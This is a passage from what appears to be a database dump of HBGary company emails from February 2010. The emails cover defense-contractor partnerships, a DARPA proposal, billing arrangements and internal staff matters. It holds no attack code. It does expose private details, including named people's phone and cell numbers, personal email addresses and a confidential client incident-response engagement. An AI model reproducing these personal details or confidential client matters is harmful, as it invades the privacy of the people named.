Phil, Just want to be sure you saw this\r\nhttp://diocyde.wordpress.com/2010/02/10/announcing-invites-for-technical-author-and-submission-editorial-board-for-malware-dna-knowledgebase/\r\n\r\n-- Penny C. LeavyHBGary, Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',9060,'aaron_hbgary_com/9060.html'),(2472,'2010-02-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001136.M58716P3547Q2471.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: General Dynamcis','Begin forwarded message:From: Penny Leavy &lt;penny@hbgary.com&gt;\r\nDate: February 11, 2010 5:21:17 AM MSTTo: Ted Vera &lt;ted@hbgary.com&gt;, Scott Pease &lt;scott@hbgary.com&gt;, Martin Pillion &lt;martin@hbgary.com&gt;,  Bob Slapnik &lt;bob@hbgary.com&gt;, Greg Hoglund &lt;greg@hbgary.com&gt;\r\nSubject: General DynamcisScott, has the GD account been passed over to Ted to manage?  We needto make sure this is completed by the first of March so Sherri should\r\nbe on this.  Can you please schedule a con call?  Ted can bill out asyou and HBGary Federal can bill us.  Ted, a consulting contract shouldsuffice for this between HBGary and HBGary Fed.  We have contract in\r\nplace for GD-- Penny C. LeavyHBGary, Inc.\r\n',2124,'aaron_hbgary_com/2124.html'),(2473,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001136.M623224P3547Q2473.eml','\"Ted Vera\" <ted@hbgary.com>','What do you think?','About HBGary &amp; HBGary Federal:HBGary was founded in 2003 by renowned security expert Greg Hoglund.The HBGary team are renowned experts in thefield of malware analysis, threat intelligence, software reverse engineering,&nbsp;and rootkit&nbsp;development techniques and countermeasures.HBGary specializes in developing enterprise malware detection andanalysis solutions and incident response tools that provide activethreat intelligence for its customers. &nbsp;HBGary launched HBGary Federal in2009 to become a leading provider of cybersecurity services and solutionsto detect,&nbsp;diagnose and respond to advanced malware threats and provideexpert&nbsp;classified services to the Department of Defense, IntelligenceCommunity and other U.S. government agencies. HBGary Federal providesthreat intelligence on the intent and evolving tactics,&nbsp;techniques,&nbsp;and&nbsp;procedures of the advanced threats, necessary for developingproactive and dynamic defenses for mission assurance.HBGary and HBGary Federal are headquartered in Sacramentowith sales offices in the Washington D.C. area. &nbsp;For more informationabout HBGary products and HBGary Federal services, please visit:http://www.hbgary.com.\r\nAaron BarrCEOHBGary Federal Inc.',4371,'aaron_hbgary_com/4371.html'),(2474,'2010-02-11','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001136.M958077P3547Q2474.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Further discussion','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI will have to get back to you on that.&nbsp; I need to find out the\r\nprocess for press releases.&nbsp; I am sure that we will want that.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, February 11, 2010 7:17 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Further discussion\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nQuestion. &nbsp;Once we start this can I put out a press\r\nrelease to say HBGary federal partners with Northrop to build next generation\r\nthreat intelligence center?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 10, 2010, at 9:49 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCrap! Gotta go commercial.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\nTo: Masterson, Brian (Xetron) \r\nSent: Wed Feb 10 20:43:09 2010\r\nSubject: Re: Further discussion \r\n\r\n\r\n\r\n\r\n\r\nOur efforts with palantir are a subset of the bigger\r\npicture. &nbsp;We are pushing the rock a little the irad pushes it a lot.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNormal charges for commercial work are 300-400 am hour.\r\n&nbsp;Are u over that? :)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTalk to you tomorrow.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 10, 2010, at 9:39 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nThanks\r\nfor the SOW.&nbsp; I will send an email to Bob Shows.\r\n\r\nNo\r\nneed to apologize.&nbsp; I understand the pressure.&nbsp; If I could help you\r\nout sooner, I would.\r\n\r\n&nbsp;\r\n\r\nWe\r\ncan turn proposals pretty fast as we have approval authority to 5M on-site.\r\n\r\nAs\r\nfar as ES and the partnership, it looks pretty set.&nbsp; Jadik gave us his\r\nok.&nbsp; Xetron gets NCTAs every year.&nbsp; The money for the integration is\r\ncoming out of my IRAD budget.&nbsp; I don&#8217;t have to get approval as long as I\r\ncan project an ROI.&nbsp; The money is already budgeted.&nbsp; Just my butt on\r\nthe line.&nbsp; I have talked to AC&amp;TD about this (at the working level)\r\nand they support it.&nbsp; Bill and I are all over this.&nbsp; Now with Jadik&#8217;s\r\ncover, we are good.&nbsp; \r\n\r\n&nbsp;\r\n\r\nHow\r\ndoes the HBGary/Palantir integration work compare/influence what we are\r\ndoing?&nbsp; What is the end goal of that compared to what we are doing?&nbsp;\r\nEndGame did offer up a cut of their US data.&nbsp; Hopefully, when we partner\r\nup for joint efforts, they will give us access to some of their other data to\r\nlook at what integration opportunities exist.&nbsp; As soon as we get the US\r\ndata cut, we are going to have to figure out what in the data will make the\r\nbest demo.&nbsp; As I said, we got 10 Flt in mid March.&nbsp; We need to move\r\nquick.\r\n\r\n&nbsp;\r\n\r\nI\r\nwould like to get in on your QRC work as well but I am concerned that our costs\r\nwill be too high compared to Foundstone.&nbsp; But, commercial rates can be\r\npretty high at times.&nbsp; We&#8217;ll have to work that.&nbsp; I know our guys will\r\nkill on it though.\r\n\r\n&nbsp;\r\n\r\nTalk\r\nto you tomorrow.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 10, 2010 5:42 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Further discussion\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat\r\nnews on the support to go forward with the IRAD. &nbsp;Sorry I have been a bit\r\nout of touch but Penny has been putting on the pressure to bring in funds so I\r\nhave been busy chasing immediate work. &nbsp;The long term benefit of what we\r\nare putting together will but HBGary Federal solidly on the map, but I need to\r\nmake sure we are around to reep the benefits.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nwould have tried to work with you and the NG system on the OSI RFP but the due\r\ndate is 22 Feb. and who knows how long it would have taken you to break that\r\nthrough the NG system. &nbsp;Once we get something built we will be able to\r\nreally push that out through many fronts.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nknow what your thoughts are on partnership on this with HBGary Federal but do\r\nyou get a sense on how the larger ES feels? &nbsp;I would like to be your\r\npartner side by side in this but I realize its NG money.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLike\r\nyou I have been in regular conversation with EndGames, Palantir, Netwitness,\r\nand all are still very eager to get this party started. &nbsp;HBGary and\r\nPalantir are starting to work the integration, Endgames is supposed to be\r\nsending me some aurora data, but on the malware stuff. &nbsp;I guess they have\r\na bunch of external aurora information but were not willing to share it with us\r\nat this moment, they said maybe in a bit. &nbsp;Maybe you can have diffferent\r\nsuccess as the &quot;big&quot; integrator. &nbsp;Definatley want to sit down\r\nand talk about the nuts and bolts going forward with the IRAD, etc. &nbsp;Man\r\nreally exciting.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nwould like to get you involved as my partner for Incident Response for our QRC\r\ngigs. &nbsp;RIght now I am using foundstone and PwC. &nbsp;Don\'t know what that\r\nwould take, happen gradually over time. &nbsp;We are going to do Duponts\r\nnetwork next week. &nbsp;They are pretty sure the chinese are all over their\r\nnetworks. &nbsp;I am going down there to sit as a shadow and learn the ropes\r\nsince Federal will be taking the lead for all of these.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached\r\nis the AF OSI RFP. &nbsp;We are a sub to MacB. &nbsp;This is a huge contract\r\nvehicle and Northrop is on it, having stolen it from TASC. &nbsp;It probably\r\nresides with DSD, maybe check with Bob Shows or Geb.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14747,'aaron_hbgary_com/14747.html'),(2475,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001137.M208225P3547Q2475.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,shawn@hbgary.com','DARPA BAA  Task 3','I need some help defining the science fiction for this one. &nbsp;What could be done but is really really out there?1.1.3.3&nbsp; Technical Area Three: Cyber PhysiologyThis technical area will investigate automated analysis and visualization of computer binary (machine language) functionality and behaviors (reverse engineering). Performers will develop technologies to conduct automated analysis of binary software of interest to assist analysts in understanding the software’s function and intent.Examples of revolutionary technologies include but are not limited to:\r\n\r\nAutomatically generated execution trees from submitted malware that include automated analysis of software dependencies.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16065,'aaron_hbgary_com/16065.html'),(2476,'2010-02-11','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001137.M418438P3547Q2476.eml','\"Aaron Barr\" <aaron@hbgary.com>','When is the NGES meeting?  Got AC&TD on the phone now.','\r\n\r\n\r\n\r\n\r\nWhen is the NGES meeting?  Got AC&amp;TD on the phone now.\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',10707,'aaron_hbgary_com/10707.html'),(2477,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001137.M607067P3547Q2477.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,,','Press Release','Karen,\r\n\r\nIt will take a while to get this through the NG hoops, but having something generated will help.\r\n\r\nCan you generate a press release on the following:\r\nHBGary Federal partners with Northrop Grumman to develop the next generation in threat intelligence capabilities.\r\n\r\nI will work on a quote.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3936,'aaron_hbgary_com/3936.html'),(2478,'2010-02-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001137.M820730P3547Q2478.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Your conference call with GD','SciFi -- very funny, but true.\r\n \r\nDoug at DHS was a DARPA PM for 10+ years.  He said 99% of technology from DARPA projects never get deployed.  To him and me it seems like a waste of money.  In the back of mind I hold out hope that VanPutte wants practical solutions, but I&#39;ve resigned myself that this is wishful thinking.\r\n\r\nOn Thu, Feb 11, 2010 at 8:46 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nYou got it. \r\n\r\nMy strategy is.\r\n\r\nLeveraging key minds within HBGary we come up with the SciFi concepts that DARPA loves.  We win an award and get to build a capability that is far reaching, in the process HBGary products continue to evolve and we make sure they meet in the middle so HBGary product is well placed and headed in line with the governments future developments.\r\n\r\n\r\nAlso in parallel, we are going to build with Northrop R&amp;D immediate capabilities to build a threat intelligence capability.  This capability will also bring more structure and process to the IR work.  We will be able to help the government better defend its systems by providing them intelligence on the evolving threat, plus we will do IR work better and cheaper because we have tools, process that makes it more efficient.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 11, 2010, at 8:41 AM, Bob Slapnik wrote:\r\n\r\nHaha.  Got it.  I continue to struggle with this &quot;5 year window&quot;.  It is so ingrained into HBGary to stretch dollars to &quot;develop&quot; commercial software fast.  DARPA is about &quot;research&quot; that likely never sees the light of day.  The more I come to grips with this, the more I see this as primarily an HBGary Fed project to do &quot;cool stuff&quot;.  And if we win, then a few key nuggets could end up with HBGary Inc in support.\r\n\r\n \r\nOn Wed, Feb 10, 2010 at 11:28 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThats cool.  I don&#39;t mind having either one of their brains, but I have to tell you that if we are getting down in the weeds about HBGary software and Malware analysis I think we will not get an award.  This is about large scale data management, data tagging, correlation, with the exception of the 3rd task which is rock solid in the bag ours.  Tech area 1 and 2 are about how to characterize data, analyze, correlate, etc.\r\nBut if they want to talk tech area 3 then it would be good to have one of them on, but again, we don&#39;t want to get down in the weeds about the art of today this is about the art of 5 years from now.Aaron\r\n\r\n\r\n\r\nOn Feb 10, 2010, at 11:22 PM, Bob Slapnik wrote:&gt; Aaron,&gt;&gt; Chris Starr said he wanted HBGary to talk to Mike Harbison and Jason Upchurch to discuss the needs of DC3.  FYI, Harbison and Upchurch are both hard core reverse engineering guys.  I&#39;m thinking it might be a good idea to have Martin or Shawn on the call with you as they know the innards of HBGary&#39;s software.  I&#39;d say Martin is the stronger overall engineer, and Shawn might know DDNA better.  Harbison and Upchurch are both good guys, but HBGary&#39;s software hasn&#39;t been good enough for them up through ver 1.5.\r\n&gt;&gt; BobAaron BarrCEOHBGary Federal Inc.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104\r\nbob@hbgary.com\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',9422,'aaron_hbgary_com/9422.html'),(2479,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001138.M270724P3547Q2480.eml','\"Bob Slapnik\" <bob@hbgary.com>','Can u give me portal access','to download all the software?\r\n\r\nThanks.\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6870,'aaron_hbgary_com/6870.html'),(2480,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001138.M462795P3547Q2481.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Your conference call with GD','99% of DARPA directly funded projects don\'t end in deployed systems. &nbsp;That said, the Internet, Lasers, and a bunch of other projects were DARPA funded projects. &nbsp;Also the research conducted by contractors does have a much higher reuse value in corporate capabilities developed down the road. &nbsp;This is definitely not a waste of money. &nbsp;What we learn in pushing the state of the art for digital artifact analysis will greatly benefit our future products. &nbsp;It is definitely not a waste of money, but all depends on how you look at it and how you use it. &nbsp;But it is not a SBIR, quick funding to develop a better near term product. &nbsp;In my opinion to be really successful you need to manage the current and the future and make sure they meet.AaronOn Feb 11, 2010, at 9:38 AM, Bob Slapnik wrote:SciFi -- very funny, but true.\r\n&nbsp;\r\nDoug at DHS was a DARPA PM for 10+ years.&nbsp; He said 99% of technology from DARPA projects never get deployed.&nbsp; To him and me it seems like a waste of money.&nbsp; In the back of mind I hold out hope that VanPutte wants practical solutions, but I\'ve resigned myself that this is wishful thinking.\r\n\r\nOn Thu, Feb 11, 2010 at 8:46 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nYou got it. \r\n\r\nMy strategy is.\r\n\r\nLeveraging key minds within HBGary we come up with the SciFi concepts that DARPA loves. &nbsp;We win an award and get to build a capability that is far reaching, in the process HBGary products continue to evolve and we make sure they meet in the middle so HBGary product is well placed and headed in line with the governments future developments.\r\n\r\n\r\nAlso in parallel, we are going to build with Northrop R&amp;D immediate capabilities to build a threat intelligence capability. &nbsp;This capability will also bring more structure and process to the IR work. &nbsp;We will be able to help the government better defend its systems by providing them intelligence on the evolving threat, plus we will do IR work better and cheaper because we have tools, process that makes it more efficient.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 11, 2010, at 8:41 AM, Bob Slapnik wrote:\r\n\r\nHaha.&nbsp; Got it.&nbsp; I continue to struggle with this \"5 year window\".&nbsp; It is so ingrained into HBGary to stretch dollars to \"develop\" commercial software fast.&nbsp; DARPA is about \"research\" that likely never sees the light of day.&nbsp; The more I come to grips with this, the more I see this as primarily an HBGary Fed project to do \"cool stuff\".&nbsp; And if we win, then a few key nuggets could end up with HBGary Inc in support.\r\n\r\n&nbsp;\r\nOn Wed, Feb 10, 2010 at 11:28 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThats cool. &nbsp;I don\'t mind having either one of their brains, but I have to tell you that if we are getting down in the weeds about HBGary software and Malware analysis I think we will not get an award. &nbsp;This is about large scale data management, data tagging, correlation, with the exception of the 3rd task which is rock solid in the bag ours. &nbsp;Tech area 1 and 2 are about how to characterize data, analyze, correlate, etc.\r\nBut if they want to talk tech area 3 then it would be good to have one of them on, but again, we don\'t want to get down in the weeds about the art of today this is about the art of 5 years from now.Aaron\r\n\r\n\r\n\r\nOn Feb 10, 2010, at 11:22 PM, Bob Slapnik wrote:&gt; Aaron,&gt;&gt; Chris Starr said he wanted HBGary to talk to Mike Harbison and Jason Upchurch to discuss the needs of DC3. &nbsp;FYI, Harbison and Upchurch are both hard core reverse engineering guys. &nbsp;I\'m thinking it might be a good idea to have Martin or Shawn on the call with you as they know the innards of HBGary\'s software. &nbsp;I\'d say Martin is the stronger overall engineer, and Shawn might know DDNA better. &nbsp;Harbison and Upchurch are both good guys, but HBGary\'s software hasn\'t been good enough for them up through ver 1.5.\r\n&gt;&gt; BobAaron BarrCEOHBGary Federal Inc.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104\r\nbob@hbgary.com\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15253,'aaron_hbgary_com/15253.html'),(2481,'2010-02-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001138.M660300P3547Q2482.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Can u give me portal access','I enabled your account to download Responder Pro (has DDNA too) and FastDump Pro.  Get key from Charles.\r\n \r\nOn Thu, Feb 11, 2010 at 9:51 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nto download all the software?Thanks.Aaron BarrCEOHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',2253,'aaron_hbgary_com/2253.html'),(2482,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001138.M84347P3547Q2479.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: When is the NGES meeting?  Got AC&TD on the phone now.','right now 3pm on Friday.On Feb 11, 2010, at 9:37 AM, Masterson, Brian (Xetron) wrote:\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1300,'aaron_hbgary_com/1300.html'),(2483,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001138.M862164P3547Q2483.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Just between us','I already talked to Bob about this so I am not asking for action but just so your aware.\r\n\r\nBob has got to stop telling partners and customers that the only person in the company that can generate innovation is Greg.  This creates an impression that we are a one trick pony and also can create some issues down the road if Greg is not available.  It limits our growth.\r\n\r\nThis has come up a few times but in a recent call with GD Bob told Jim Jaeger and crew that Greg is the only one on HBGary side that can generate the innovation.  Next thing they want to have technical discussion with Greg, but Greg isn\'t readily available.  Not a huge issue in this case, we worked it out, but its an example of the issues this perception can cause.\r\n\r\nAgain I talked with Bob about it yesterday that he needs to stop doing that but I have also noticed that sometimes it takes a few times for it to sink in if Bob has a very strong opinion on something.\r\n\r\nOk done with that.  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10644,'aaron_hbgary_com/10644.html'),(2484,'2010-02-11','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001139.M239178P3547Q2485.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Just between us','OK, just so you know Martin Pillion is another option that GD knows\r\nreally well.  I agree, Bob tends to pigeon hole things and it does\r\nhinder, hence the reason he is not running the federal team:)\r\n\r\nOn Thu, Feb 11, 2010 at 7:38 AM, Aaron Barr  wrote:\r\n> I already talked to Bob about this so I am not asking for action but just so your aware.\r\n>\r\n> Bob has got to stop telling partners and customers that the only person in the company that can generate innovation is Greg.  This creates an impression that we are a one trick pony and also can create some issues down the road if Greg is not available.  It limits our growth.\r\n>\r\n> This has come up a few times but in a recent call with GD Bob told Jim Jaeger and crew that Greg is the only one on HBGary side that can generate the innovation.  Next thing they want to have technical discussion with Greg, but Greg isn\'t readily available.  Not a huge issue in this case, we worked it out, but its an example of the issues this perception can cause.\r\n>\r\n> Again I talked with Bob about it yesterday that he needs to stop doing that but I have also noticed that sometimes it takes a few times for it to sink in if Bob has a very strong opinion on something.\r\n>\r\n> Ok done with that.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',4653,'aaron_hbgary_com/4653.html'),(2485,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001139.M443145P3547Q2486.eml','\"Mark Trynor\" <mark.trynor@gmail.com>,\"Jeff McCartney\" <mccartney7595@adelphia.net>,\"Mark Trynor\" <mark.trynor@gmail.com>','DARPA BAA','hey guys,\r\n\r\nI would love to get your thoughts on the technical areas in the BAA.\r\n\r\nJeff, the 2nd task seems like it has a place for a belief network function to deliver probabilities based on association of information, weighted factors based on reputation values, etc.\r\n\r\n1st task seems like a combination of attributes assigned to digital artifacts first whether or not lineage can be determined.  To determine lineage I am thinking about an appliance on the perimeter as well as host agents that feed trait data on digital artifacts as they are created, used, transmitted, deleted, etc.\r\n\r\nThe award for this BAA is in June, if it doesn\'t happen for some other contract before, if we win this one we would like to bring you both on for it.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1880,'aaron_hbgary_com/1880.html'),(2486,'2010-02-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001139.M48223P3547Q2484.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Press Release','It will *feel good* to see this press release hit the wire. Oh the irony...\r\n\r\nTed\r\n\r\n\r\nOn Thu, Feb 11, 2010 at 7:37 AM, Aaron Barr  wrote:\r\n> Karen,\r\n>\r\n> It will take a while to get this through the NG hoops, but having something generated will help.\r\n>\r\n> Can you generate a press release on the following:\r\n> HBGary Federal partners with Northrop Grumman to develop the next generation in threat intelligence capabilities.\r\n>\r\n> I will work on a quote.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',10183,'aaron_hbgary_com/10183.html'),(2487,'2010-02-11','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1297001139.M629440P3547Q2487.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','Delivery to the following recipient failed permanently:\r\n\r\n     mccartney7595@adelphia.net\r\n\r\nTechnical details of permanent failure: \r\nGoogle tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 550 550 5.1.1 - Invalid mailbox: mccartney7595@adelphia.net (state 14).\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.231.161.69 with SMTP id q5mr57323ibx.57.1265904553985;\r\n        Thu, 11 Feb 2010 08:09:13 -0800 (PST)\r\nReturn-Path: \r\nReceived: from ?192.168.1.9? (ip98-169-62-13.dc.dc.cox.net [98.169.62.13])\r\n        by mx.google.com with ESMTPS id 23sm2066590iwn.11.2010.02.11.08.09.11\r\n        (version=TLSv1/SSLv3 cipher=RC4-MD5);\r\n        Thu, 11 Feb 2010 08:09:12 -0800 (PST)\r\nFrom: Aaron Barr \r\nContent-Type: text/plain; charset=us-ascii\r\nContent-Transfer-Encoding: quoted-printable\r\nSubject: DARPA BAA\r\nDate: Thu, 11 Feb 2010 11:09:10 -0500\r\nMessage-Id: \r\nCc: Ted Vera \r\nTo: Mark Trynor ,\r\n Jeff McCartney \r\nMime-Version: 1.0 (Apple Message framework v1077)\r\nX-Mailer: Apple Mail (2.1077)\r\n\r\nhey guys,\r\n\r\nI would love to get your thoughts on the technical areas in the BAA.\r\n\r\nJeff, the 2nd task seems like it has a place for a belief network function to deliver probabilities based on association of information, weighted factors based on reputation values, etc.\r\n\r\n1st task seems like a combination of attributes assigned to digital artifacts first whether or not lineage can be determined.  To determine lineage I am thinking about an appliance on the perimeter as well as host agents that feed trait data on digital artifacts as they are created, used, transmitted, deleted, etc.\r\n\r\nThe award for this BAA is in June, if it doesn\'t happen for some other contract before, if we win this one we would like to bring you both on for it.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12947,'aaron_hbgary_com/12947.html'),(2488,'2010-02-11','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297001139.M838669P3547Q2488.eml','\"Aaron Barr\" <aaron@hbgary.com>','HBGary Extensions','Here\'s a handy vcard with all of the HBGary employee extensions - I added the primary number to my ATT A-list.  It gives me unlimited in/out-bound calling to HBGary, I tested it this morning.\r\n\r\n',6222,'aaron_hbgary_com/6222.html'),(2489,'2010-02-11','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297001140.M844530P3547Q2489.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Files','Here are their resumes - I put them in the cloud.\r\n\r\nTed\r\n\r\nBegin forwarded message:\r\n\r\n> From: Mark Trynor \r\n> Date: February 9, 2010 3:22:33 PM MST\r\n> To: Ted Vera \r\n> Subject: Files\r\n> \r\n> \r\n\r\n',7746,'aaron_hbgary_com/7746.html'),(2490,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001141.M38256P3547Q2490.eml','\"Ted Vera\" <tedvera@mac.com>','Re: HBGary Extensions','Thanks that is handy.\r\n\r\nOn Feb 11, 2010, at 11:10 AM, Ted Vera wrote:\r\n\r\n> Here\'s a handy vcard with all of the HBGary employee extensions - I added the primary number to my ATT A-list.  It gives me unlimited in/out-bound calling to HBGary, I tested it this morning.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8632,'aaron_hbgary_com/8632.html'),(2491,'2010-02-11','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001162.M882138P3547Q2491.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: IG files','\r\n\r\n\r\n\r\n\r\nFW: IG files\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Akey, Mark 